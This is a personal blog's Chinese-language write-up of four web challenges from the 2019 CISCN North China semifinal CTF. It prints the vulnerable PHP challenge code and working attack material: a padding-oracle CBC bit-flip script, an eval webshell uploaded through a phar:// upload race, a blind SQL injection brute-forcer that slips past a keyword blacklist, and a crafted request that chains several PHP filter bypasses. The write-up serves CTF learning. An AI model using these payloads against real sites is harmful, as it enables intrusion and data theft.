刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

2019 CISCN 国赛 华北赛区半决赛web 部分Writeup

web3(cbc翻转字节攻击)

    这个题目说实话也是一道原题。。。并且我之前也根据这个思路给朋友出过类似的题目。

    首先我们会在题目中通过访问robots.txt 中获取到备份文件的泄漏 /backup.zip 以及一个登陆页面/login.html
    我们可以发现 在备份文件中METHOD 是aes-128-cbc 且$token在cookie里,是可控参数,于是可以想到是cbc翻转字节攻击 可以使用padding oracle 进行攻击。
题目源码如下:

<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
define("KEY", "******");


function privCode(){
    $code = '';
    $seeds = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    for($i = 0; $i < 15; $i++){
        $code .= substr($seeds, rand(1, 61), 1);
    }
    return $code;
}

$privcode = privCode();


function get_iv(){
    $iv = '';
    $seeds = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $iv .= substr($seeds, rand(1, 61), 1);
    }
    return $iv;
}

function loginpriv(){
	global $privcode;
    $token = get_iv();
    $c = openssl_encrypt($privcode, METHOD, KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['privcode'] = base64_encode($c);
    if($privcode === 'admin'){ // 此处是一个坑点。。其实在实际源码中是onepiece 是title的值。。
    	$_SESSION['admin'] = 1;
    }else{
    	$_SESSION['admin'] = 0;
    }
    setcookie("token", base64_encode($token));
}
function iflogin(){
    if (isset($_SESSION['privcode'])) {
        $id_decode = base64_decode($_SESSION['privcode']);
        $token_decode = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($id_decode, METHOD, KEY, OPENSSL_RAW_DATA, $token_decode)){
            if ($u === 'admin') {
                $_SESSION['admin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
	if($username === "admin" && md5($password) === "21232f297a57a5a743894a0e4a801fc3"){ // 21232f297a57a5a743894a0e4a801fc3 是admin的md5
  		loginpriv();
  		header('location: ./admin.php');
  	}else{
  		die('Login failed.');
  	}
}else{
	if(iflogin()){
        //header('location: ./admin.php');
        echo "yes"; //此处为跳转到admin页面,因为需要进行本地模拟,故将此处换成输出yes
	}else{
        //header('location: ./login.html');
        echo "nononononononono"; //此处为跳转到login页面,因为需要进行本地模拟,故将此处换成输出 nononononononono
    }
}
?>

所以我们可以直接用之前写过的exp进行修改。。

# -*- coding:utf-8 -*-
import requests
import base64
url = 'http://172.1.38.5/login.php'
N=16


s=requests.session()

def inject_token(token):
    header={"Cookie":"PHPSESSID="+phpsession+";token="+token}
    result=requests.post(url,headers=header)
    print  header
    # print  result.headers
    return result
def xor(a, b):
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])
def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)
def padding_oracle(N):
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*(16-i)+chr(j)+padding
            result=inject_token(base64.b64encode(c))
            if "Error!" not in result.content:
                get=chr(j^i)+get
                break
    return get
def login(url):
    payload = {
        "username":"admin",
        "password":"admin"
    }
    session = "951be2d1704ef4dcb5f6fa8adec97c67"
    session = "v8c2uu6j77504b1hos9c33v8r3"
    coo1 = {
        "PHPSESSID":session
    }
    r = requests.post(url,cookies=coo1,data=payload,allow_redirects=False)
    print r.headers
    token = r.headers['Set-Cookie'][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
    print token
    return session, token
# print inject_token(token).content

while 1:
    phpsession,token = login(url)
    middle1=padding_oracle(N)
    print middle1
    print "\n"
    if(len(middle1)+1==16):
        for i in xrange(0,256):
            middle=chr(i)+middle1
            print "token:"+token
            print "middle:"+middle
            plaintext=xor(middle,token);
            print "plaintext:"+plaintext
            des=pad('onepiece',N)
            tmp=""
            print des.encode("base64")
            for i in xrange(16):
                tmp+=chr(ord(token[i])^ord(plaintext[i])^ord(des[i]))
            print tmp.encode('base64')
            result=inject_token(base64.b64encode(tmp))
            print result.content
            if "Login Form" not in result.content and "Error" not in result.content and "nononononononono" not in result.content:
                print result.content
                print "success"
                exit()

既可登录进去

web4

    这个题目思路很简单,首先进行目录扫描既可扫到hint.php
可以在源代码中发现hint-> GET提交name 可以通过php伪协议进行源码读取php://filter/read=convert.base64-encode/resource=

//hint.php
<?php
echo'<!--YOU HAVE MY \'name\'-->';
error_reporting(0); // 设置报错不输出
$file=$_GET['name'].'.php'; // 将 $file 参数赋值为 $_GET['name'].'.php'
if(!file_exists($file)){ // 判断 $file 文件 是否在服务器中存在 
    echo $file." not exists!"; // 如果 $file 文件 不存在则输出 该文件不存在
}
include($file); // include $file 
?>

//index.php
<?php
header('hint:uploadupload.php '); // 理论上是放出第一个 hint 。。不过我没看。。
echo'Eazy web';
?>

//uploadupload.php
<?php
echo'<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Upload</title>
</head>
<style>
    #fo0kingshell{
        margin: auto;
        width: 300px;
        height: 100px;

    }
    #msg{
    margin: auto;
    width:900px;
    height: 100px;
    }
</style>
<body>
<div id=\'fo0kingshell\'>
    <form id="upload-form" action="" method="post" enctype="multipart/form-data" >
           <input type="file" id="upload" name="file"/>
           <input type="submit" value="Upload" />
    </form>
</div>
<!--hint1:TIME IS ALWAYS LIMITTED-->
</body>
</html>';//给第一个提示「自带备注」
if($_FILES) {// 判断是否 存在上传文件
        $upfile = $_FILES["file"]["name"]; // 将上传的文件名赋值给$upfile
        $fileTypes = array( // 允许上传的文件白名单
            'jpg', 'png', 'gif', 'zip', 'rar', 'txt');
        function getFileExt($file_name) // 用来返回上传文件的后缀
        {
            while ($dot = strpos($file_name, ".")) {
                $file_name = substr($file_name, $dot + 1);
            }
            return $file_name;
        }
        $test1 = strtolower(getFileExt($upfile)); // 将 $test1 赋值为转换小写后的文件后缀名「例如 上传文件名是123.Jpg 则 $test1 为 jpg」
        if (!in_array($test1, $fileTypes)) { // 判断后缀名是否为白名单内容
            echo $test1.'doesn\'t allow'; // 当后缀不在白名单时候返回 doesn\'t allow
            exit(); // 退出 
        } else { // 后缀名为白名单内 
            $nfile = md5(rand(1,10000)).'.'.$test1; // 将 $nfile 赋值为 随机数(1-10000)的md5值加上该上传文件的后缀名
            move_uploaded_file($_FILES["file"]["tmp_name"], "./file/" . $nfile); // 将上传到文件转移到 ./file/  目录下 且命名为 $nfile 的值
            echo '<div id="msg">'.$nfile.'</div><div>uploaded to ./file</div>
            <!--hint3:hint-->'; // 返回到前端页面上传文件的文件名
            $port=$_SERVER["SERVER_PORT"]; 
            $host=$_SERVER["HTTP_HOST"]; 
            $ch=curl_init();
            curl_setopt($ch, CURLOPT_NOSIGNAL, true);
            curl_setopt ( $ch,  CURLOPT_TIMEOUT_MS,100);
            //curl_setopt($ch, CURLOPT_TIMEOUT,1);
            curl_setopt($ch, CURLOPT_URL, "http://".$host."/a6ca1c4487e1e3feba82b5e390dbdd7a.php"); // 访问服务器上的a6ca1c4487e1e3feba82b5e390dbdd7a.php文件 「主要是删除非jpg结尾的文件」
            $output = curl_exec($ch);
            curl_close($ch);
        }

    }
?>

//a6ca1c4487e1e3feba82b5e390dbdd7a.php
<?php
sleep(2);
echo'1';
function getFileExt($file_name) // 返回文件的后缀名
{
    while ($dot = strpos($file_name, ".")) {
        $file_name = substr($file_name, $dot + 1);
    }
    return $file_name;
}
$handler = opendir('file'); // 扫描 file 目录下的文件
$fileTypes2 = array('jpg'); // 设置白名单只有jpg文件
while( ($filename = readdir($handler)) !== false ) //遍历file下的所有文件
{
    if($filename != "." && $filename != "..") // 当不是. 和 .. 时候继续进行
    {
        $test2 = strtolower(getFileExt($filename)); //将 $test2 赋值为转换小写后的文件后缀名
        if (!in_array($test2, $fileTypes2)) { // 判断当前后缀是否不在白名单中
            echo $filename; 
            unlink('./file/' . $filename); // 不在白名单直接删除。
        }//5秒后会删除
    }
}

?>

  当读完源码后我们可以轻易的发现直接使用phar协议即可进行命令执行
具体操作如下:

  • 首先我们可以先写个php结尾的一句话命令

//sgdream.php
<?php
eval($_GET['sgdream']);
?>
  • 然后打包zip操作并且把后缀改成jpg结尾

  • 上传到服务器上,根据返回到的文件名进行命令执行读取flag

http://172.1.38.3/hint.php?name=phar://file/0d8f8313c83e69d101e8997d3065fbff.jpg/sgdream&sgdream=system(%27cat%20/flag.txt%27);


web1

这个题目过滤了很多内容但是通过fuzz发现没有过滤 (^,select,FROM,ASCII,MID,=)这些单词符号,所以我们可以通过构造

```mysql

1^(SELECT(ASCII(MID((SELECT((flag))FROM(ctf)),0,1))=1))^1=1

题目源码如下:

<html>
<head>
<title>Hack World</title>
</head>
<body>
<h3>All You Want Is In Table 'ctf' and the column is 'flag'</h3>
<h3>Now, just give the id of passage</h3>
<form action="index.php" method="POST">
<input type="text" name="id">
<input type="submit"> 
</form>
</body>
</html>
<?php
$dbuser='ctf';
//$dbuser='root';
$dbpass='anvue91kd';
//$dbpass='root';

function safe($sql){
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);


if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
    	var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

「因为题目已经给了表名及表字段名」进行逐位爆破。

#coding=utf-8
import requests

dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://172.1.38.1/index.php"
keyword = "Error Occured When Fetch Result"
string = ""

for i in range(1, 30):
    for j in dic:
        payload = "1^(SELECT(ASCII(MID((SELECT((flag))FROM(ctf)),{0},1))={1}))^1=1".format(str(i),ord(j))
        data = {
            'id':payload
        }
        url_get = url
        # print(url_get)
        content = requests.post(url_get,data=data)
        # print(content.text)
        if keyword not in content.text:
            string += j
            print(string)
            break
print("result = " + string)

#flag58f45cfe44


WEB 2

这个题目通过前端hint 得知 通过携带GET参数src可以读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<html>
<body>
<!-- ?src -->
</body>

<?php
echo "Null          ...            Null            ...            Null          ...  ";

if(isset($_GET['src'])) { // 判断src存在则输出源码
   die(highlight_file('index.php', true));
}

error_reporting(0);
if($_REQUEST){
   foreach ($_REQUEST as $key => $value) { // 可以通过post一个相同的key值为数字即可绕过
       if(preg_match('/[a-zA-Z]/i', $value))   die('Hello Hack.');
   }
}

if($_SERVER){
   if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING']))  die('Hello Hack..');//可以通过url编码进行绕过,因为 $_SERVER['QUERY_STRING'] 不会对传参进行url解码,但是 $_GET 会
}

if(isset($_GET['cyber'])){ // 直接通过传入数组可以绕过。
   if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){
       die('Hello Hack...');
   }else{
       if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){ // 因为preg_match正则没有/d的话 可以直接通过增加一个%0a进行绕过

           $getflag = file_get_contents($_GET['flag']); // 可以通过data协议进行赋值 data://text/plain,security

       }else
die('Hello Hack....');
       if(isset($getflag) && $getflag === 'security'){
           include 'flag.php';
           echo $flag;
       }else die('Hello Hack.....');
   }
}
?>


首先绕过

1
2
3
4
5
if($_REQUEST){
   foreach ($_REQUEST as $key => $value) {
       if(preg_match('/[a-zA-Z]/i', $value))   die('Hello Hack.');
   }
}

可以通过post一个相同的key值为数字即可。

绕过

1
2
3
if($_SERVER){
   if(preg_match('/cyber|flag|ciscn/i', $_SERVER['QUERY_STRING']))  die('Hello Hack..');
}

可以通过url编码进行绕过,因为$_SERVER['QUERY_STRING']不会对传参进行url解码,但是$_GET

绕过

1
2
3
if(!(substr($_GET['cyber'], 32) === md5($_GET['cyber']))){ 
die('Hello Hack...');
}

直接通过传入数组可以绕过。

然后绕过

1
2
3
4
5
6
7
8
if(preg_match('/^ciscnsec$/', $_GET['ciscn']) && $_GET['ciscn'] !== 'ciscnsec'){
           $getflag = file_get_contents($_GET['flag']);
       }else
die('Hello Hack....');
       if(isset($getflag) && $getflag === 'security'){
           include 'flag.php';
           echo $flag;
       }else die('Hello Hack.....');

因为preg_match正则没有/d的话 可以直接通过增加一个%0a进行绕过

$getflag 可以通过data协议进行赋值 data://text/plain,security

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?%63%79%62%65%72%5b%5d%3d%66%31%66%37%31%33%63%39%65%30%30%30%66%35%64%33%66%32%38%30%61%64%62%64%31%32%34%64%66%34%66%35%26%66%6c%61%67%3d%69%6e%64%65%78%2e%70%68%70%26%63%69%73%63%6e%3d%63%69%73%63%6e%73%65%63%25%30%61%0a&%63%69%73%63%6e=%63%69%73%63%6e%73%65%63%0a&%66%6c%61%67=data://text/plain,security HTTP/1.1
Host: 172.1.38.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
DNT: 1
Connection: close
Referer: http://172.1.38.2/cyber
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

ciscn=1&flag=1

return :

1
Null          ...            Null            ...            Null          ...  flag{bdc4680156}


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.